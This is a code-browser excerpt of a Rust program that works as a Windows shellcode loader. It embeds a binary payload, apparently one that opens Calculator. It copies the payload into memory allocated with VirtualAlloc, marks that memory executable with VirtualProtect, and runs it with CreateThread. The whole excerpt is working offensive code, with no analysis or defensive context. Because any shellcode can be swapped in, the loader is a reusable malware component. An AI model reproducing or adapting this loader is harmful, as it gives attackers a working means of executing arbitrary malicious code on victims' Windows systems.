()
| 8 | |
| 9 | #[cfg(target_os = "windows")] |
| 10 | fn main() { |
| 11 | let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin"); |
| 12 | let shellcode_size = shellcode.len(); |
| 13 | |
| 14 | unsafe { |
| 15 | let addr = VirtualAlloc( |
| 16 | null(), |
| 17 | shellcode_size, |
| 18 | MEM_COMMIT | MEM_RESERVE, |
| 19 | PAGE_READWRITE, |
| 20 | ); |
| 21 | if addr.is_null() { |
| 22 | panic!("[-]VirtualAlloc failed: {}!", GetLastError()); |
| 23 | } |
| 24 | |
| 25 | copy(shellcode.as_ptr(), addr.cast(), shellcode_size); |
| 26 | |
| 27 | let mut old = PAGE_READWRITE; |
| 28 | let res = VirtualProtect(addr, shellcode_size, PAGE_EXECUTE, &mut old); |
| 29 | if res == FALSE { |
| 30 | panic!("[-]VirtualProtect failed: {}!", GetLastError()); |
| 31 | } |
| 32 | |
| 33 | let addr = transmute(addr); |
| 34 | let thread = CreateThread(null(), 0, addr, null(), 0, null_mut()); |
| 35 | if thread == 0 { |
| 36 | panic!("[-]CreateThread failed: {}!", GetLastError()); |
| 37 | } |
| 38 | |
| 39 | WaitForSingleObject(thread, WAIT_FAILED); |
| 40 | } |
| 41 | } |
nothing calls this directly
no outgoing calls
no test coverage detected